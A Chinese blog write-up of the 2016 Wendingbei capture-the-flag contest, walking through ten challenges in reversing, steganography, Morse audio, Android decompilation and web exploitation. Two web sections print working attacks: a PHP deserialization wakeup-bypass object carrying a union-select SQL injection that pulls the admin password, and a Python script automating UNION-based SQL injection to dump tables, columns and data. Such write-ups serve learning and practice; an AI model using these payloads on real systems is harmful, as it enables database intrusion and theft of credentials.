WDCTF2016-Writeup

辣鸡问X杯,毁我青春。积分排名第四没进决赛,hhhh。。。。

2016问鼎杯Write-up

0x01 微微一笑

一张图片二维码,本来以为是图片隐写,把lsb,binwalk等都跑了一遍结果没发现东西。然后关注了一下公众号,发送“flag”,居然自动弹出了flag。。。

0x02 洋为中用

一道Re题目,吐槽一下为什么这次Re题目为什么都是C++的。。。

用ida分析了一下,发现是类似base64加密的加密器,只不过加密的结果都是中文。

1
2
3
(v21 & 0x3FFFu) + 20019);

v15 = v13 & 0x3FFF;

这样两句能看出有一次UTF-8的转码。

1
2
3
4
5
6
|| (BYTE1(v4) = *(v25 + 1), v5 == 2)
|| (v4 = (*(v25 + 2) << 16) | v4 & 0xFFFFFFFFFF00FFFFLL, v5 == 3)
|| (v4 = (*(v25 + 3) << 24) | v4 & 0xFFFFFFFF00FFFFFFLL, v5 == 4)
|| (v4 = (*(v25 + 4) << 32) | v4 & 0xFFFFFF00FFFFFFFFLL, v5 == 5)
|| (v4 = (*(v25 + 5) << 40) | v4 & 0xFFFF00FFFFFFFFFFLL, v5 == 6)
|| (v4 = (*(v25 + 6) << 48) | v4 & 0xFF00FFFFFFFFFFFFLL, v5 == 7)

这段代码能看出进行了一次UTF-16的转码,高位补零。

解密的过程:将密文进行UTF-8解码,然后减去0x4E33,然后补零使长度统一为14位。然后将所有二进制串反序连接在一起,将二进制流分为八个一组转换成对应字符,同时反序。(从第四组数据开始解密)

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*- <--------------采用utf-8
f = open("secret.txt","r")
data = f.read()
data = data.decode('utf-8')
length = len(data)
res = ""
def fg(string,width):
return [string[x:x+width] for x in range(0,len(string),width)]
def step1(string):
string = bin(string)
string = string[2:]
length = len(string)
c = 14-length
for i in range(0,c):
string = "0"+string
return string

for i in range(0,length):
p = data[i]
tmp = ord(p)-0x4e33
tmp = step1(tmp)
res = tmp+res
res = res[4:]
data = fg(res,8)
res = ""
for a in data:
a = int(a,2)
res = chr(a)+res
print res


#flag:BaseCJKisSimilar2Base64

0x03 窃听风云

下载文件secret.data。用文本编辑器打开发现里面是Base64的加密。用16进制编辑器发现解密之后是个音频文件。音频是一段摩斯电码。用Audacity分析该音频文件的音高。

高音代表长音,低音代表断音,复现的电码为:

1
-.........-.-..-..-.---....-..-...---......-----.-.....-.-.----....----.....-...--.

解密得到:

1
2
THESECRETWDFLAGISMORESCODE1SFUN
Flag:MORESCODE1SFUN

0x04 百转千回

一道Re题目。根据serial求得对应name。

1
2
3
4
Hint:
name一共12位,
name[0]='{',name[1]='h',name[2]='d',name[3]='u'
name[5]='b',name[9]='0',name[10]='_',name[11]='}'

name一共有12位,Hint中给了8位,所以只需要推算出剩下的四位。
{hduXbXXX0_}

用ida分析,找到出现Great的部分,发现加密函数sub_401F30。(该函数被调用了11次,对应serial的11组序号)

sub_401F30函数的参数可以看出是每两位进行一次加密。

加密顺序为:name[0]name[1]第一次加密,name[1]name[2]第二次加密,以此类推,有11次加密。

1
2
3
4
5
6
7
8
9
v15 = ((a3 >> 2) & 1) + (a1 & 1) + 6;
*(a2 + 20) = 15;
*(a2 + 16) = 0;
*a2 = 0;
v14 = ((a1 >> 3) & 1) + 6 + ((a3 >> 3) & 1);
v17 = ((a1 >> 1) & 1) + 6 + ((a3 >> 4) & 1);
v4 = (a3 & 1) + 6 + ((a1 >> 2) & 1);
v16 = (a3 & 1) + 6 + ((a1 >> 2) & 1);
v5 = ((a1 >> 4) & 1) + ((a3 >> 1) & 1) + 54;

将name的成员转换成二进制,假设每一份二进制为Hex。

判断name[0].Hex[0]+name[1].Hex[2]+6的值是否等于7

判断name[0].Hex[3]+name[1].Hex[3]+6的值是否等于8

判断name[0].Hex[1]+name[1].Hex[4]+6的值是否等于7

判断name[0].Hex[2]+name[1].Hex[0]+6的值是否等于6

判断name[0].Hex[4]+name[1].Hex[1]+6的值是否等于7

以此类推。

根据序列号可求出剩余四位的二进制的后五位,根据可显字符

可以判断二进制的高三位为’010’,进而可以确定剩余四位符号的二进制。

Flag = {hdubrav0}

0x05 一波三折

题目给的文件里面是像素点,只有计算了一下像素点的个数,是307x311,写成图片形式。是个二维码,扫描后拿到一个url地址,打开拿到flag.
贴上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import Image
import re
x = 307
y = 311
fp = open('1.txt')
data = fp.read()
data = re.findall('[0-9]*,[0-9]*,[0-9]*,',data)
res = Image.new("RGB",(x,y))
pos = 0
for i in range(0,x):
for j in range(0,y):
px = re.findall(r'([0-9]+)',data[pos])
res.putpixel(([i,j]),(int(px[0]),int(px[1]),int(px[2])))
pos = pos + 1
res.save("flag.png")
res.show()

0x06 期期艾艾

小明有口吃,他知道世界上最长的单词。
在数学界四大金刚(小明,小红,小芳,小刚)的聚会中,为了活跃气氛,小明让大家玩个猜数字的游戏。
小明给出了一串奇奇怪怪的东西,如下:
0 b29vb3Njb3BpY3Np
1 YW1pY3Jvc29wY2lj
2 bm5vdWx0cmFtaWNy
3 c2lsaWNvdm9sYW5j
4 bGljY2Nvdm9sY2Fu
5 cHBubm5uZXVtb25u
6 bW9ub2x1dHJhbWlj
7 b2Nvbmlvc2lpaWlz
8 aWNzaWxpb29jdmxj
9 Y2FvbmNvmblvc2lz

这是题目描述,全部为base64密文。解密后去掉重复(口吃)是:

oscopicsi
amicrosopcic
noultramicr
silicovolanc
licovolcan
pneumon
monolutramic
oconiosis
icsiliocvlc
caoncosis

题目说了一句,他知道世上最长的单词。但是我在网上找到了更长的单词Orz,符合题目的是pneumonoultramicroscopicsilicovolcanoconiosis
from http://www.baike.com/wiki/%E6%9C%80%E9%95%BF%E7%9A%84%E8%8B%B1%E6%96%87%E5%8D%95%E8%AF%8D
把这单词对应部分的顺序对应的数字连在一起就是flag.

0x07 走笔疾书

这题查看源代码能看到一个提示,xxx tell you a url:xxxxpostData?token=&key
。这题坑了很多人,导致最后第二题差点来不及。cookie中有一个key,md5解开后发现是几个字符,刚开始以为这个就是key,直到晚上放了hint后才知道。css里有个t0ken的RGB值,每次刷新都会改变,把这个值转为16进制,key也是脑洞,提示里提到了js,在控制台试了一下,就拿到了key。刚开始被误导了,自以为是的以为是post过去,发现老是不行,最后试了一下用get的方式传过去,成功拿到flag.

0x08 井然有序

这种题做过好几次了,反序列化的题,绕过wake函数,从而绕过过滤。写php脚本如下:

1
2
3
4
5
6
7
8
9
10
11
<?php 
class COMEON{
private $method="show";
private $args=array(
"admin' union/*!00000select*/password,1,1 from users where username = 'admin' limit 1,1#"
);
private $conn=false;
}
$a = new COMEON();
echo urlencode(serialize($a));
?>

结果为:

1
2
3
4
5
O%3A6%3A%22COMEON%22%3A3%3A%7Bs%3A14%3A%22%00COMEON%00method%22%
3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00COMEON%00args%22%3Ba%3A1%3
A%7Bi%3A0%3Bs%3A87%3A%22admin%27+union%2F%2A%2100000select%2A%2F
password%2C1%2C1+from+users+where+username+%3D+%27admin%27+limit
+1%2C1%23%22%3B%7Ds%3A12%3A%22%00COMEON%00conn%22%3Bb%3A0%3B%7D

修改对象成员个数为4:

1
2
3
4
5
O%3A6%3A%22COMEON%22%3A4%3A%7Bs%3A14%3A%22%00COMEON%00method%22%
3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00COMEON%00args%22%3Ba%3A1%3
A%7Bi%3A0%3Bs%3A87%3A%22admin%27+union%2F%2A%2100000select%2A%2F
password%2C1%2C1+from+users+where+username+%3D+%27admin%27+limit
+1%2C1%23%22%3B%7Ds%3A12%3A%22%00COMEON%00conn%22%3Bb%3A0%3B%7D

拿到flag.

0x09 顺藤摸瓜

(400分)这仅仅是一个数字游戏,Are you ready?
题目解压完是一个安卓apk文件,用安卓逆向神器JEB直接反编译出源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130968601);
ButterKnife.bind(((Activity)this));
this.mmText.setText("WDFLAG=" + String.valueOf(String.valueOf(this.getContent(this.theFlag()))
.hashCode()));
this.mmText.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
这是主函数。

private String theFlag() {
String v2;
try {
v2 = this.getPackageManager().getPackageInfo(this.getPackageName(), 0).packageName;
}
catch(PackageManager$NameNotFoundException v0) {
v0.printStackTrace();
}

return v2;
}
private int getContent(String packageName) {
int v1 = 233;
PackageManager v2 = this.getPackageManager();
try {
v1 += v2.getPackageInfo(packageName, 0).versionCode;
}
catch(Exception v0) {
v0.printStackTrace();
}

return v1;
}
public final class BuildConfig {
public static final String APPLICATION_ID = "test.seclab.com.ctftest";
public static final String BUILD_TYPE = "release";
public static final boolean DEBUG = false;
public static final String FLAVOR = "";
public static final int VERSION_CODE = 1227;
public static final String VERSION_NAME = "1.0";

public BuildConfig() {
super();
}
}

分析源代码可知,首先获取了包的版本号,是1227,加上233,是1460。再用一波hashCode方法,结果就是FLAG。

0x0A盲人摸象

试了一下就知道是sql注入,但是多了一个hash校验的验证,也很简单,用for循环遍历一下1-1000000之前的哈系值,根据开头四位判断,用python写个脚本,可以直接绕过。联合注入在information_schema.tables里拿到表名ffff1ag,然后进行盲注,拿到flag.这题没什么脑洞,主要还是写代码吧。

# coding=utf-8
import requests
import random
import hashlib
s = requests.Session()
url='http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/index.php'
tables_count_num = 0
#get code
def step1(url):
    r=s.get(url)
    code = r.text.find('==')
    return r.text[code+3:code+7]
#crack code
def step2(code):
    num = 10000

    while 1:
        m = hashlib.md5()   
        m.update(str(num))
        if (m.hexdigest()[0:4]==code):
            return num
            break
        num += 1


def get_data(payload):
    code =step2(step1(url))
    data={
    "id":payload,
    "code":code
    }
    r = s.post(url,data = data)
    pos1 = r.text.find('<td>')
    pos2 = r.text[pos1+4:].find('</td>')
    return r.text[pos1+4:][:pos2]

def get_tables(url):

    payload = "-1 UNION SELECT COUNT(*),'user' from information_schema.tables WHERE table_schema = DATABASE() limit 0,1"
    tables_count_num = get_data(payload)
    print "tables_number: "+tables_count_num
    for i in range(0,int(tables_count_num)):
        payload = "-1 UNION SELECT length(table_name),'user' from information_schema.tables WHERE table_schema = DATABASE() limit "+str(i)+",1"
        tables_name_len = get_data(payload)
        print "tables_name_len: "+tables_name_len
        tables_name = ""
        for j in range(0,int(tables_name_len)):
            payload = "-1 UNION SELECT ascii(substring(table_name,"+str(j+1)+",1)),'user' from information_schema.tables WHERE table_schema = DATABASE() limit "+str(i)+",1"
            str = get_data(payload)
            tables_name += chr(int(str))
        print "tables_name:"+ tables_name

def get_columns():
    payload = "-1 UNION SELECT COUNT(*),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit 0,1"
    columns_count_num = get_data(payload)
    print "columns_number: "+columns_count_num
    for i in range(0,int(columns_count_num)):
        payload = "-1 UNION SELECT length(column_name),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit "+str(i)+",1"
        columns_name_len = get_data(payload)
        print "columns_name_len: "+columns_name_len
        columns_name = ""
        for j in range(0,int(columns_name_len)):
            payload = "-1 UNION SELECT ascii(substring(column_name,"+str(j+1)+",1)),'user' from information_schema.columns WHERE table_name = 'ffff1ag' limit "+str(i)+",1"
            str = get_data(payload)
            columns_name += chr(int(str))
        print "columns_name:"+ columns_name

def get_flag():
    payload = "-1 UNION SELECT COUNT(fflag),'user' from ffff1ag limit 0,1"
    flag_count_num = get_data(payload)
    print "flag: "+flag_count_num
    for i in range(0,int(flag_count_num)):
        payload = "-1 UNION SELECT length(fflag),'user' from ffff1ag limit "+str(i)+",1"
        flag_len = get_data(payload)
        print "flag_len: "+flag_len
        flag = ""
        for j in range(0,int(flag_len)):
            payload = "-1 UNION SELECT ascii(substring(fflag,"+str(j+1)+",1)),'user' from ffff1ag limit "+str(i)+",1"
            str = get_data(payload)
            flag += chr(int(str))
            print "flag:"+flag
        print "flag:"+ flag

def mrmx():
    get_tables(url)
    get_columns()
    get_flag()

if __name__ == '__main__':
mrmx()
文章目录
  1. 1. 2016问鼎杯Write-up
    1. 1.1. 0x01 微微一笑
    2. 1.2. 0x02 洋为中用
    3. 1.3. 0x03 窃听风云
    4. 1.4. 0x04 百转千回
    5. 1.5. 0x05 一波三折
    6. 1.6. 0x06 期期艾艾
    7. 1.7. 0x07 走笔疾书
    8. 1.8. 0x08 井然有序
    9. 1.9. 0x09 顺藤摸瓜
    10. 1.10. 0x0A盲人摸象
,